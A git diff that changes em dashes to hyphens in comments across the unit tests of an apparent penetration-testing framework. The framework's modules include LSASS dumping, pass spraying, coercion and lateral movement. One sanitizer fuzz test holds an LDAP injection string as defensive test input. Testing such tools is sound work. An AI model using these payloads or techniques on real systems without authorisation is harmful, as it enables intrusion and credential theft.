+ - AresDatabase (SQLite) - CRUD, encryption, bypass outcomes
+ - CredentialVault - encrypt/decrypt round-trip, privilege scoring
+ - Campaign - scope enforcement, finding management, noise profiles
+ - Security - sanitize_path whitelist, sanitize_hostname, DataEncryptor
+ - NoiseController - jitter, rate limiting
+ - AresContainer (DI) - registration, retrieval, factory, module building
Run: pytest tests/unit/test_core_infrastructure.py -v
"""
@@ -30,7 +30,7 @@ if str(_ROOT) not in sys.path:
# ═══════════════════════════════════════════════════════════════════════════════
-# 1. AresDatabase — SQLite async CRUD
+# 1. AresDatabase - SQLite async CRUD
# ═══════════════════════════════════════════════════════════════════════════════
class TestAresDatabase:
@@ -317,7 +317,7 @@ class TestAresDatabase:
# ═══════════════════════════════════════════════════════════════════════════════
-# 2. Campaign — scope enforcement, findings, noise
+# 2. Campaign - scope enforcement, findings, noise
# ═══════════════════════════════════════════════════════════════════════════════
class TestCampaign:
@@ -377,7 +377,7 @@ class TestCampaign:
# ═══════════════════════════════════════════════════════════════════════════════
-# 3. CredentialVault — encryption/decryption
+# 3. CredentialVault - encryption/decryption
# ═══════════════════════════════════════════════════════════════════════════════
class TestCredentialVault:
@@ -437,7 +437,7 @@ class TestCredentialVault:
# ═══════════════════════════════════════════════════════════════════════════════
-# 4. Security — sanitize_path, sanitize_hostname, DataEncryptor
+# 4. Security - sanitize_path, sanitize_hostname, DataEncryptor
# ═══════════════════════════════════════════════════════════════════════════════
class TestSecurity:
@@ -502,7 +502,7 @@ class TestSecurity:
# ═══════════════════════════════════════════════════════════════════════════════
-# 5. NoiseController — jitter, rate limiting
+# 5. NoiseController - jitter, rate limiting
# ═══════════════════════════════════════════════════════════════════════════════
class TestNoiseController:
@@ -544,7 +544,7 @@ class TestNoiseController:
# ═══════════════════════════════════════════════════════════════════════════════
-# 6. AresContainer (DI) — registration, retrieval, module building
+# 6. AresContainer (DI) - registration, retrieval, module building
# ═══════════════════════════════════════════════════════════════════════════════
class TestAresContainer:
diff --git a/tests/unit/test_coverage_gaps.py b/tests/unit/test_coverage_gaps.py
index 8651614..dab0036 100644
--- a/tests/unit/test_coverage_gaps.py
+++ b/tests/unit/test_coverage_gaps.py
@@ -5,7 +5,7 @@ Unit tests covering previously untested modules:
- knowledge/base.py
- telemetry/collector.py
-Written against the actual source APIs — verified before writing.
+Written against the actual source APIs - verified before writing.
"""
from __future__ import annotations
import pytest
@@ -19,13 +19,13 @@ from pathlib import Path
class TestCredentialVault:
"""
API verified:
- CredentialVault(encryption_key) — None = ephemeral auto key
- vault.store(cred, secret) — raises ValueError on empty secret
- vault.add(cred, secret) — alias for store()
- vault.all() — list of all Credential objects
- vault.domain_admins() — DOMAIN_ADMIN + ENTERPRISE_ADMIN creds
- vault.by_privilege(level) — filter by PrivilegeLevel
- vault.reveal(cred_id) — decrypt → plaintext
+ CredentialVault(encryption_key) - None = ephemeral auto key
+ vault.store(cred, secret) - raises ValueError on empty secret
+ vault.add(cred, secret) - alias for store()
+ vault.all() - list of all Credential objects
+ vault.domain_admins() - DOMAIN_ADMIN + ENTERPRISE_ADMIN creds
+ vault.by_privilege(level) - filter by PrivilegeLevel
+ vault.reveal(cred_id) - decrypt → plaintext
"""
@pytest.fixture
@@ -114,7 +114,7 @@ class TestFingerprintEngine:
"""
API verified:
class EnvironmentFingerprinter (NOT HostFingerprinter)
- FingerprintResult fields: host, os_type, os_version, open_ports — NO 'confidence'
+ FingerprintResult fields: host, os_type, os_version, open_ports - NO 'confidence'
OSType.WINDOWS = "windows_10", OSType.LINUX = "linux_ubuntu" (convenience aliases)
to_dict() → flat dict with 'host', 'os_type', 'open_ports'
"""
@@ -191,8 +191,8 @@ class TestFingerprintEngine:
class TestKnowledgeBase:
"""
API verified:
- suggest(host_state: dict) — takes a DICT, not OperatorSession
- success_rate(module_id) — 0.5 neutral prior when no history
+ suggest(host_state: dict) - takes a DICT, not OperatorSession
+ success_rate(module_id) - 0.5 neutral prior when no history
record_outcome(id, bool)
all_entries()
get(entry_id)
@@ -203,7 +203,7 @@ class TestKnowledgeBase:
@pytest.fixture
def kb(self, tmp_path: Path):
- """Fresh KB with isolated OutcomeTracker — never reads ~/.ares/kb_outcomes.json."""
+ """Fresh KB with isolated OutcomeTracker - never reads ~/.ares/kb_outcomes.json."""
from ares.knowledge.base import AttackKnowledgeBase, OutcomeTracker
kb = AttackKnowledgeBase()
# Override tracker to use tmp_path so disk state doesn't leak across tests
@@ -224,7 +224,7 @@ class TestKnowledgeBase:
assert e.description or e.title
def test_success_rate_neutral_without_history(self, kb):
- # Fresh tmp_path tracker — no prior data
+ # Fresh tmp_path tracker - no prior data
rate = kb.success_rate("ad.kerberoast")
assert rate == 0.5
@@ -275,8 +275,8 @@ class TestTelemetryCollector:
"""
API verified:
record_execution(module_id, duration_ms, success, ...)
- record_finding(count=1) — NO severity kwarg
- record_credential(count=1) — NO cred_type kwarg
+ record_finding(count=1) - NO severity kwarg
+ record_credential(count=1) - NO cred_type kwarg
record_host_discovered/owned(count=1)
snapshot(campaign_id="") → TelemetrySnapshot
snapshot().to_dict() → {'modules': ..., 'findings': ..., ...}
@@ -354,7 +354,7 @@ class TestTelemetryCollector:
# ─────────────────────────────────────────────────────────────────────────────
-# goal/engine.py CapabilityGraph — circular dependency handling
+# goal/engine.py CapabilityGraph - circular dependency handling
# ─────────────────────────────────────────────────────────────────────────────
class TestCapabilityGraphEdgeCases:
@@ -406,7 +406,7 @@ class TestCapabilityGraphEdgeCases:
def test_circular_dependency_does_not_loop(self):
"""
Circular deps (A requires cap_b, B requires cap_a)
- should NOT loop infinitely — visited set prevents it.
+ should NOT loop infinitely - visited set prevents it.
"""
from ares.goal.engine import CapabilityGraph
reg = self._make_registry({
@@ -450,7 +450,7 @@ class TestCapabilityGraphEdgeCases:
cg = CapabilityGraph.from_registry(reg)
# Only mod.a is available
chain = cg.resolve_chain(["cap_y"], available_modules=["mod.a"])
- assert "mod.b" not in chain # filtered out — not in available_modules
+ assert "mod.b" not in chain # filtered out - not in available_modules
assert chain == [] # no available module produces cap_y
def test_empty_registry_returns_empty_chain(self):
diff --git a/tests/unit/test_data_encryptor.py b/tests/unit/test_data_encryptor.py
index ae85cc2..cd694de 100644
--- a/tests/unit/test_data_encryptor.py
+++ b/tests/unit/test_data_encryptor.py
@@ -1,5 +1,5 @@
"""
-Unit tests — DataEncryptor edge cases (ares/core/security.py)
+Unit tests - DataEncryptor edge cases (ares/core/security.py)
Tests every edge case: key mismatch, tampered ciphertext, None input,
legacy format migration, unicode, and the exception narrowing fix.
@@ -63,7 +63,7 @@ class TestBasicEncryptDecrypt:
def test_roundtrip_unicode(self):
enc = make_enc()
- value = "P@ssw0rd! — привет — 中文 — emoji 🔴"
+ value = "P@ssw0rd! - привет - 中文 - emoji 🔴"
assert enc.decrypt(enc.encrypt(value)) == value
def test_roundtrip_long_string(self):
@@ -91,14 +91,14 @@ class TestKeyMismatch:
assert enc2.decrypt(token) is None
def test_empty_key_fails_gracefully(self):
- """Empty key should not crash — returns None on decrypt."""
+ """Empty key should not crash - returns None on decrypt."""
try:
enc = DataEncryptor("")
token = enc.encrypt("test")
result = enc.decrypt(token)
assert result is None or result == "test"
except Exception:
- pass # construction may fail — that is also acceptable
+ pass # construction may fail - that is also acceptable
def test_key_with_special_characters(self):
key = "key-with-!@#$%^&*()-special-chars!"
@@ -164,7 +164,7 @@ class TestTamperedCiphertext:
class TestLegacyFormat:
def test_legacy_format_decrypts_with_legacy_salt(self):
- """Simulate v5-era ciphertext (no salt prefix) — must decrypt with legacy salt."""
+ """Simulate v5-era ciphertext (no salt prefix) - must decrypt with legacy salt."""
key = "test-key-32chars-minimum-required"
enc = DataEncryptor(key)
diff --git a/tests/unit/test_engine.py b/tests/unit/test_engine.py
index 19d3016..e617885 100644
--- a/tests/unit/test_engine.py
+++ b/tests/unit/test_engine.py
@@ -1,5 +1,5 @@
"""
-Tests for ARES AresEngine — execution, timeout, retry, concurrency.
+Tests for ARES AresEngine - execution, timeout, retry, concurrency.
Modules used in engine tests are mocked to return instantly.
This tests ENGINE behavior (planning, parallelism, semaphore, timeout, retry)
@@ -56,7 +56,7 @@ def campaign() -> Campaign:
def _fast_run(**kwargs: Any):
- """Instant async mock run — returns no findings, no raw data."""
+ """Instant async mock run - returns no findings, no raw data."""
async def _inner(**kw: Any):
return [], {}
@@ -487,7 +487,7 @@ class TestAsyncEngine:
async def test_execution_plan_parallel(
self, settings: AresSettings, campaign: Campaign
) -> None:
- """All modules in a stage are attempted — mocked to return instantly."""
+ """All modules in a stage are attempted - mocked to return instantly."""
engine = AresEngine(settings=settings)
engine.load_modules()
@@ -546,7 +546,7 @@ class TestAsyncEngine:
async def test_semaphore_limits_concurrency(
self, settings: AresSettings, campaign: Campaign
) -> None:
- """Engine respects max_parallel — mocked to avoid filesystem scans."""
+ """Engine respects max_parallel - mocked to avoid filesystem scans."""
engine = AresEngine(settings=settings, max_parallel=2)
engine.load_modules()
diff --git a/tests/unit/test_executor_pivot_lateral.py b/tests/unit/test_executor_pivot_lateral.py
index 8dfec95..06f1182 100644
--- a/tests/unit/test_executor_pivot_lateral.py
+++ b/tests/unit/test_executor_pivot_lateral.py
@@ -1,5 +1,5 @@
"""
-Round 2 tests — covers previously 0% components:
+Round 2 tests - covers previously 0% components:
- execution/executor.py
- pivot/infrastructure.py
- network/model.py
@@ -451,7 +451,7 @@ class TestNetworkModel:
assert "hosts" in d
-# ── credential/reuse.py — WinRM validator ────────────────────────────────────
+# ── credential/reuse.py - WinRM validator ────────────────────────────────────
class TestWinRMValidator:
@@ -512,7 +512,7 @@ class TestWinRMValidator:
assert priv in ("administrator", "user")
-# ── lateral/modules.py — RDP + all techniques ────────────────────────────────
+# ── lateral/modules.py - RDP + all techniques ────────────────────────────────
class TestLateralModules:
@@ -638,7 +638,7 @@ class TestLateralModules:
assert r.session_id != ""
-# ── credential/reuse.py — ReuseEngine ────────────────────────────────────────
+# ── credential/reuse.py - ReuseEngine ────────────────────────────────────────
class TestReuseEngine:
diff --git a/tests/unit/test_final_hardening.py b/tests/unit/test_final_hardening.py
index dc2e189..a09e6c3 100644
--- a/tests/unit/test_final_hardening.py
+++ b/tests/unit/test_final_hardening.py
@@ -1,5 +1,5 @@
"""
-FINAL Hardening Tests — Last line of defense.
+FINAL Hardening Tests - Last line of defense.
Tests campaign-scoped artifact isolation, guaranteed cleanup on all paths,
exception safety, and long-running accumulation prevention.
@@ -375,7 +375,7 @@ class TestEngineCleanupPlacement:
# Check indentation: the cleanup call should be at the same or lower
# indent level as the pivot if-block, NOT inside it.
- # The pivot block starts with 'if "network.pivot"' — find its indent
+ # The pivot block starts with 'if "network.pivot"' - find its indent
pivot_line = None
pivot_indent = None
for i, line in enumerate(lines):
@@ -413,7 +413,7 @@ class TestThreadSafety:
def test_artifact_tracking_uses_lock(self):
"""_ARTIFACT_LOCK must exist and be a lock object."""
from ares.core.security import _ARTIFACT_LOCK
- # threading.Lock() returns _thread.lock — verify it has acquire/release
+ # threading.Lock() returns _thread.lock - verify it has acquire/release
assert hasattr(_ARTIFACT_LOCK, "acquire"), \
"Artifact tracking must use a lock for thread safety"
assert hasattr(_ARTIFACT_LOCK, "release"), \
diff --git a/tests/unit/test_hardening.py b/tests/unit/test_hardening.py
index 6d2ee21..fce44b9 100644
--- a/tests/unit/test_hardening.py
+++ b/tests/unit/test_hardening.py
@@ -92,7 +92,7 @@ class TestNoPlaintextCredentials:
description = row["description"]
evidence_raw = row.get("evidence_json", "")
- # CRITICAL ASSERTIONS — these FAIL on old code
+ # CRITICAL ASSERTIONS - these FAIL on old code
assert real_password not in description, \
f"BLOCKER-001 FAIL: Plaintext password found in description: {description}"
assert real_password not in evidence_raw, \
@@ -138,7 +138,7 @@ class TestNoPlaintextCredentials:
def test_pass_spray_evidence_schema_has_redacted(self):
"""
BLOCKER-001: Verify pass_spray source code uses REDACTED in evidence.
- This is a code-level assertion — if someone reverts the fix, this breaks.
+ This is a code-level assertion - if someone reverts the fix, this breaks.
"""
source = Path("ares/modules/credential/pass_spray.py").read_text(encoding="utf-8")
@@ -156,7 +156,7 @@ class TestNoPlaintextCredentials:
BLOCKER-001: Verify raw output dict also has passwords redacted.
"""
source = Path("ares/modules/credential/pass_spray.py").read_text(encoding="utf-8")
- # Find the raw dict construction — must use REDACTED
+ # Find the raw dict construction - must use REDACTED
assert '"password": "***REDACTED***"' in source, \
"BLOCKER-001 FAIL: raw output dict still has plaintext password"
@@ -448,7 +448,7 @@ class TestSubprocessTimeout:
"""
Old behavior: isolation.py _spawn() called proc.communicate() without
timeout. If subprocess hung, the worker hung forever. When wait_for
- timed out, subprocess was NOT killed — became zombie.
+ timed out, subprocess was NOT killed - became zombie.
New behavior: _spawn() catches CancelledError, kills process, re-raises.
"""
@@ -456,7 +456,7 @@ class TestSubprocessTimeout:
def test_isolation_spawn_has_cancel_handler(self):
"""
HIGH-001: _spawn() must catch CancelledError and kill the process.
- Old code had no CancelledError handler — zombie risk.
+ Old code had no CancelledError handler - zombie risk.
"""
source = Path("ares/worker/isolation.py").read_text(encoding="utf-8")
assert "CancelledError" in source, \
@@ -467,7 +467,7 @@ class TestSubprocessTimeout:
def test_linux_modules_have_wait_for(self):
"""
HIGH-001: All linux modules must use asyncio.wait_for on proc.communicate.
- Old code called proc.communicate() directly — hang risk.
+ Old code called proc.communicate() directly - hang risk.
"""
for module in [
"ares/modules/linux/privesc.py",
@@ -484,7 +484,7 @@ class TestSubprocessTimeout:
def test_pip_install_has_timeout(self):
"""
HIGH-001: marketplace installer pip install must have timeout.
- Old code: subprocess.run([...pip...], check=True) — no timeout.
+ Old code: subprocess.run([...pip...], check=True) - no timeout.
"""
source = Path("ares/marketplace/installer.py").read_text(encoding="utf-8")
# Find the subprocess.run line with pip
@@ -503,7 +503,7 @@ class TestSubprocessTimeout:
async def test_subprocess_killed_on_timeout(self):
"""
HIGH-001: Prove that a hanging subprocess is killed after timeout.
- This is the behavioral test — simulates what isolation.py does.
+ This is the behavioral test - simulates what isolation.py does.
"""
# Spawn a process that sleeps forever
proc = await asyncio.create_subprocess_exec(
@@ -532,7 +532,7 @@ class TestSubprocessTimeout:
os.kill(pid, 0) # signal 0 = check if alive
pytest.fail(f"HIGH-001 FAIL: PID {pid} still exists after kill")
except ProcessLookupError: pass
- pass # correct — process is gone
+ pass # correct - process is gone
# ═══════════════════════════════════════════════════════════════════════════════
diff --git a/tests/unit/test_module_coverage.py b/tests/unit/test_module_coverage.py
index 984b006..69018c7 100644
--- a/tests/unit/test_module_coverage.py
+++ b/tests/unit/test_module_coverage.py
@@ -6,7 +6,7 @@ Strategy: each module gets 3 tests minimum:
2. dry_run=True returns ModuleResult(status='dry_run') without network
3. MODULE_ID, OPSEC_LEVEL, MITRE_TECHNIQUES are correctly declared
-These are not integration tests — no real network calls, no real AD/SSH/cloud.
+These are not integration tests - no real network calls, no real AD/SSH/cloud.
They verify the module can be imported, instantiated, and wired correctly.
"""
from __future__ import annotations
@@ -486,11 +486,11 @@ class TestLocalAdminCredsConsistency:
cls = getattr(mod, cls_name)
requires = getattr(cls, "REQUIRES", [])
assert "local_admin_cred" not in requires, (
- f"{cls_name}.REQUIRES contains 'local_admin_cred' (singular) — "
+ f"{cls_name}.REQUIRES contains 'local_admin_cred' (singular) - "
f"must be 'local_admin_creds' (plural) to match planner.py capability map"
)
except ImportError:
- pass # optional deps not installed — skip
+ pass # optional deps not installed - skip
class TestDashboardModuleSchemaContracts:
diff --git a/tests/unit/test_property_based.py b/tests/unit/test_property_based.py
index d770c18..72921fa 100644
--- a/tests/unit/test_property_based.py
+++ b/tests/unit/test_property_based.py
@@ -1,5 +1,5 @@
"""
-Property-based tests — Input sanitizers (ares/core/security.py)
+Property-based tests - Input sanitizers (ares/core/security.py)
Using hypothesis to fuzz sanitize_ldap, sanitize_hostname, validate_ip_or_cidr,
sanitize_path, create_access_token, and DataEncryptor.
@@ -35,14 +35,14 @@ from ares.core.security import (
# ── Shared strategies ─────────────────────────────────────────────────────────
-# Printable ASCII — the typical input space for user-supplied strings
+# Printable ASCII - the typical input space for user-supplied strings
printable_text = st.text(
alphabet=string.printable,
min_size=0,
max_size=200,
)
-# Unicode including emoji, CJK, RTL, null bytes — the adversarial space
+# Unicode including emoji, CJK, RTL, null bytes - the adversarial space
adversarial_text = st.text(min_size=0, max_size=200)
# LDAP injection payloads specifically
@@ -108,7 +108,7 @@ class TestSanitizeLdap:
# Key invariant: result is safe to embed in LDAP filter
assert isinstance(result, str)
# If ldap3 is available, injection chars get escaped with \xx
- # If not, they get stripped — either way the output is safe
+ # If not, they get stripped - either way the output is safe
@given(st.just("") )
def test_empty_string_stays_empty(self, value: str) -> None:
@@ -118,7 +118,7 @@ class TestSanitizeLdap:
@settings(max_examples=100)
def test_alphanumeric_passthrough(self, value: str) -> None:
"""Pure alphanumeric strings should pass through unchanged."""
- # ldap3 escapes everything that's not safe — alphanum is safe
+ # ldap3 escapes everything that's not safe - alphanum is safe
result = sanitize_ldap(value)
# At minimum the result must contain all the original chars in some form
assert len(result) >= len(value)
@@ -280,7 +280,7 @@ class TestValidateIpOrCidr:
@given(printable_text)
@settings(max_examples=300, suppress_health_check=[HealthCheck.too_slow])
def test_never_raises(self, value: str) -> None:
- """validate_ip_or_cidr must never raise — only return True/False."""
+ """validate_ip_or_cidr must never raise - only return True/False."""
try:
result = validate_ip_or_cidr(value)
assert isinstance(result, bool)
@@ -308,7 +308,7 @@ class TestValidateIpOrCidr:
# ══════════════════════════════════════════════════════════════════════════════
-# DataEncryptor — property-based
+# DataEncryptor - property-based
# ══════════════════════════════════════════════════════════════════════════════
class TestDataEncryptorProperties:
@@ -352,7 +352,7 @@ class TestDataEncryptorProperties:
# ══════════════════════════════════════════════════════════════════════════════
-# JWT — property-based
+# JWT - property-based
# ══════════════════════════════════════════════════════════════════════════════
class TestJWTProperties:
diff --git a/tests/unit/test_roadmap_modules.py b/tests/unit/test_roadmap_modules.py
index f87d27a..4a287cd 100644
--- a/tests/unit/test_roadmap_modules.py
+++ b/tests/unit/test_roadmap_modules.py
@@ -2,17 +2,17 @@
Unit tests for ARES Roadmap modules (Tier 1, 2, 3).
Coverage:
- 1. credential.crack — OpsecLevel.LOCAL, validate() no hashes, CrackJob submission
- 2. recon.fingerprint — validate() no target, EDR finding trigger, DC finding trigger
- 3. network.pivot — validate() no target/no creds, dry_run, teardown
- 4. ad.adcs — validate() no dc/domain/creds, template parsing, ESC1 detection
- 5. ad.delegation_abuse — validate() RBCD needs target_computer, LDAP enum mock
- 6. ad.coerce — STEALTH block, validate() no listener, dry_run
- 7. windows.lsass_dump — STEALTH block, validate(), error classification
- 8. windows.dpapi — validate(), error classification (auth/network), dry_run
- 9. ad.laps_enum — validate(), vault.store() called with password, dry_run
- 10. lateral.mssql — validate(), error classification (auth 18456 vs network)
- 11. cloud.azure_ad — validate() no tenant_id, dry_run
+ 1. credential.crack - OpsecLevel.LOCAL, validate() no hashes, CrackJob submission
+ 2. recon.fingerprint - validate() no target, EDR finding trigger, DC finding trigger
+ 3. network.pivot - validate() no target/no creds, dry_run, teardown
+ 4. ad.adcs - validate() no dc/domain/creds, template parsing, ESC1 detection
+ 5. ad.delegation_abuse - validate() RBCD needs target_computer, LDAP enum mock
+ 6. ad.coerce - STEALTH block, validate() no listener, dry_run
+ 7. windows.lsass_dump - STEALTH block, validate(), error classification
+ 8. windows.dpapi - validate(), error classification (auth/network), dry_run
+ 9. ad.laps_enum - validate(), vault.store() called with password, dry_run
+ 10. lateral.mssql - validate(), error classification (auth 18456 vs network)
+ 11. cloud.azure_ad - validate() no tenant_id, dry_run
"""
from __future__ import annotations
@@ -72,13 +72,13 @@ def _mock_ctx(params=None, target="10.0.0.1", domain="corp.local",
# ══════════════════════════════════════════════════════════════════════
-# 1 — credential.crack
+# 1 - credential.crack
# ══════════════════════════════════════════════════════════════════════
class TestCredentialCrack:
def test_opsec_level_local_exists(self):
- """OpsecLevel.LOCAL must exist — crash fixed in BUG-01."""
+ """OpsecLevel.LOCAL must exist - crash fixed in BUG-01."""
from ares.modules.base import OpsecLevel
assert OpsecLevel.LOCAL == "local"
assert OpsecLevel.LOCAL is not None
@@ -134,7 +134,7 @@ class TestCredentialCrack:
# ══════════════════════════════════════════════════════════════════════
-# 2 — recon.fingerprint
+# 2 - recon.fingerprint
# ══════════════════════════════════════════════════════════════════════
class TestReconFingerprint:
@@ -187,7 +187,7 @@ class TestReconFingerprint:
# ══════════════════════════════════════════════════════════════════════
-# 3 — network.pivot
+# 3 - network.pivot
# ══════════════════════════════════════════════════════════════════════
class TestNetworkPivot:
@@ -243,7 +243,7 @@ class TestNetworkPivot:
# ══════════════════════════════════════════════════════════════════════
-# 4 — ad.adcs
+# 4 - ad.adcs
# ══════════════════════════════════════════════════════════════════════
class TestADADCS:
@@ -284,7 +284,7 @@ class TestADADCS:
# ══════════════════════════════════════════════════════════════════════
-# 5 — ad.delegation_abuse
+# 5 - ad.delegation_abuse
# ══════════════════════════════════════════════════════════════════════
class TestADDelegationAbuse:
@@ -319,7 +319,7 @@ class TestADDelegationAbuse:
# ══════════════════════════════════════════════════════════════════════
-# 6 — ad.coerce
+# 6 - ad.coerce
# ══════════════════════════════════════════════════════════════════════
class TestADCoerce:
@@ -370,7 +370,7 @@ class TestADCoerce:
# ══════════════════════════════════════════════════════════════════════
-# 7 — windows.lsass_dump
+# 7 - windows.lsass_dump
# ══════════════════════════════════════════════════════════════════════
class TestWindowsLsassDump:
@@ -427,7 +427,7 @@ class TestWindowsLsassDump:
# ══════════════════════════════════════════════════════════════════════
-# 8 — windows.dpapi
+# 8 - windows.dpapi
# ══════════════════════════════════════════════════════════════════════
class TestWindowsDPAPI:
@@ -495,7 +495,7 @@ class TestWindowsDPAPI:
# ══════════════════════════════════════════════════════════════════════
-# 9 — ad.laps_enum
+# 9 - ad.laps_enum
# ══════════════════════════════════════════════════════════════════════
class TestADLAPSEnum:
@@ -562,7 +562,7 @@ class TestADLAPSEnum:
# ══════════════════════════════════════════════════════════════════════
-# 10 — lateral.mssql
+# 10 - lateral.mssql
# ══════════════════════════════════════════════════════════════════════
class TestLateralMSSQL:
@@ -604,7 +604,7 @@ class TestLateralMSSQL:
_run(_test())
def test_auth_error_18456_classified(self):
- """SQL Server error 18456 = wrong credentials — must raise AuthenticationFailed."""
+ """SQL Server error 18456 = wrong credentials - must raise AuthenticationFailed."""
from ares.modules.lateral.mssql import MSSQLModule
from ares.core.errors import AuthenticationFailed
mod, _ = _make_module(MSSQLModule)
@@ -637,7 +637,7 @@ class TestLateralMSSQL:
# ══════════════════════════════════════════════════════════════════════
-# 11 — cloud.azure_ad
+# 11 - cloud.azure_ad
# ══════════════════════════════════════════════════════════════════════
class TestCloudAzureAD:
@@ -680,7 +680,7 @@ class TestCloudAzureAD:
# ══════════════════════════════════════════════════════════════════════
-# 12 — Cross-cutting: OpsecLevel enum completeness
+# 12 - Cross-cutting: OpsecLevel enum completeness
# ══════════════════════════════════════════════════════════════════════
class TestOpsecLevelEnum:
diff --git a/tests/unit/test_sanitizers_property.py b/tests/unit/test_sanitizers_property.py
index 36e0877..63eb360 100644
--- a/tests/unit/test_sanitizers_property.py
+++ b/tests/unit/test_sanitizers_property.py
@@ -1,15 +1,15 @@
"""
-Property-based tests — input sanitizers (ares/core/security.py)
+Property-based tests - input sanitizers (ares/core/security.py)
Uses Hypothesis to fuzz sanitize_ldap(), sanitize_hostname(), sanitize_path(),
and validate_ip_or_cidr() with thousands of auto-generated inputs.
Properties verified:
- 1. IDEMPOTENCY — sanitize(sanitize(x)) == sanitize(x) [always]
- 2. SAFETY — dangerous chars never present in output [always]
- 3. NO CRASH — function never raises on any string input [always]
- 4. VALID OUTPUT — output type matches expected [always]
- 5. CORRECTNESS — known-good inputs pass, known-bad inputs are stripped [spot-check]
+ 1. IDEMPOTENCY - sanitize(sanitize(x)) == sanitize(x) [always]
+ 2. SAFETY - dangerous chars never present in output [always]
+ 3. NO CRASH - function never raises on any string input [always]
+ 4. VALID OUTPUT - output type matches expected [always]
+ 5. CORRECTNESS - known-good inputs pass, known-bad inputs are stripped [spot-check]
Run: pytest tests/unit/test_sanitizers_property.py -v
(hypothesis runs 100 examples per test by default;
@@ -39,10 +39,10 @@ from ares.core.security import (
# ── Shared strategies ─────────────────────────────────────────────────────────
-# Full Unicode text — any string hypothesis can generate
+# Full Unicode text - any string hypothesis can generate
any_text = st.text(min_size=0, max_size=200)
-# Printable ASCII only — subset for readable test output
+# Printable ASCII only - subset for readable test output
printable = st.text(
alphabet=st.characters(whitelist_categories=("Lu", "Ll", "Nd", "Po", "Zs")),
min_size=0, max_size=100,
@@ -108,11 +108,11 @@ class TestSanitizeLDAPProperties:
@settings(max_examples=200)
def test_dangerous_chars_stripped_or_escaped(self, value: str):
"""
- Raw null bytes must not survive sanitization — they are used in
+ Raw null bytes must not survive sanitization - they are used in
LDAP injection to truncate filter expressions.
"""
result = sanitize_ldap(value)
- # Null byte is the most dangerous — must not be in output as-is
+ # Null byte is the most dangerous - must not be in output as-is
# (ldap3 escapes it to \00, which is safe; raw \x00 is not)
assert "\x00" not in result, (
f"Raw null byte survived sanitize_ldap({repr(value)!r}) → {repr(result)}"
@@ -134,7 +134,7 @@ class TestSanitizeLDAPProperties:
"""Wildcard * used in LDAP injection must be escaped, not raw."""
result = sanitize_ldap("*)(uid=*")
# After escaping, the raw unescaped wildcard should not form valid injection
- # The exact escaping depends on ldap3 — just verify no crash
+ # The exact escaping depends on ldap3 - just verify no crash
assert isinstance(result, str)
@@ -303,7 +303,7 @@ class TestValidateIPOrCIDRProperties:
@given(any_text)
@settings(max_examples=300, suppress_health_check=[HealthCheck.too_slow])
def test_never_raises(self, value: str):
- """validate_ip_or_cidr must never raise — always return bool."""
+ """validate_ip_or_cidr must never raise - always return bool."""
try:
result = validate_ip_or_cidr(value)
assert isinstance(result, bool)
@@ -318,7 +318,7 @@ class TestValidateIPOrCIDRProperties:
@given(valid_ipv4_cidr)
@settings(max_examples=200)
def test_valid_cidr_accepted(self, cidr: str):
- # netaddr is strict about host bits — allow either True or False
+ # netaddr is strict about host bits - allow either True or False
# but must not raise
result = validate_ip_or_cidr(cidr)
assert isinstance(result, bool)
diff --git a/tests/unit/test_security_critical.py b/tests/unit/test_security_critical.py
index ac311b9..69ba291 100644
--- a/tests/unit/test_security_critical.py
+++ b/tests/unit/test_security_critical.py
@@ -4,15 +4,15 @@ ARES Security Critical Path Tests
Test suite for security-critical paths that must pass before every release.
Coverage:
- 1. Token revocation — logout → blacklist → reuse rejected
- 2. Dashboard auth — every API endpoint requires valid token
- 3. RBAC enforcement — per-role, per-endpoint access control
- 4. Refresh rate limit — 429 after N rapid refresh attempts
- 5. Vault persistence — save/restore credential cycle
- 6. validate() enforcement — engine calls validate() before execute()
+ 1. Token revocation - logout → blacklist → reuse rejected
+ 2. Dashboard auth - every API endpoint requires valid token
+ 3. RBAC enforcement - per-role, per-endpoint access control
+ 4. Refresh rate limit - 429 after N rapid refresh attempts
+ 5. Vault persistence - save/restore credential cycle
+ 6. validate() enforcement - engine calls validate() before execute()
Pattern: httpx.ASGITransport + dependency_overrides (no lifespan needed).
-All tests are self-contained — no shared mutable state between classes.
+All tests are self-contained - no shared mutable state between classes.
"""
from __future__ import annotations
@@ -271,14 +271,14 @@ def test_main_websocket_scrubs_query_before_actual_uvicorn_logging():
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 1 — TOKEN REVOCATION
+# TEST CLASS 1 - TOKEN REVOCATION
# ══════════════════════════════════════════════════════════════════════
class TestTokenRevocation:
"""
After logout, a still-valid (not-expired) access token must be rejected.
- The JTI blacklist is the mechanism — these tests verify it is enforced.
+ The JTI blacklist is the mechanism - these tests verify it is enforced.
"""
def setup_method(self):
@@ -302,7 +302,7 @@ class TestTokenRevocation:
r = await c.get("/auth/me", headers=_auth("alice", "operator"))
assert r.status_code == 401, (
f"Revoked token must return 401, got {r.status_code}. "
- "Logout is ineffective — token still works after revocation!"
+ "Logout is ineffective - token still works after revocation!"
)
_run(_run_test())
@@ -349,14 +349,14 @@ class TestTokenRevocation:
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 2 — DASHBOARD AUTHENTICATION
+# TEST CLASS 2 - DASHBOARD AUTHENTICATION
# ══════════════════════════════════════════════════════════════════════
class TestDashboardAuthentication:
"""
Every dashboard /api/* endpoint must return 401 without a valid token.
- GET / (HTML shell) is deliberately public — SPA pattern, no sensitive data.
+ GET / (HTML shell) is deliberately public - SPA pattern, no sensitive data.
"""
PROTECTED = [
@@ -424,7 +424,7 @@ class TestDashboardAuthentication:
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 3 — RBAC ENFORCEMENT PER ROLE
+# TEST CLASS 3 - RBAC ENFORCEMENT PER ROLE
# ══════════════════════════════════════════════════════════════════════
@@ -614,7 +614,7 @@ class TestRBACEnforcement:
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 4 — REFRESH TOKEN RATE LIMITING
+# TEST CLASS 4 - REFRESH TOKEN RATE LIMITING
# ══════════════════════════════════════════════════════════════════════
@@ -665,13 +665,13 @@ class TestRefreshTokenRateLimit:
"429 response must include Retry-After header"
)
return
- pytest.fail("Never received 429 — rate limiting not working")
+ pytest.fail("Never received 429 - rate limiting not working")
_run(_run_test())
# ══════════════════════════════════════════════════════════════════════
-# TEST CLASS 5 — CREDENTIAL VAULT PERSISTENCE
+# TEST CLASS 5 - CREDENTIAL VAULT PERSISTENCE
# ══════════════════════════════════════════════════════════════════════
@@ -754,7 +754,7 @@ class TestCredentialVaultPersistence:
}
]
- # Vault B: restore from DB — share salt/fernet for compatibility
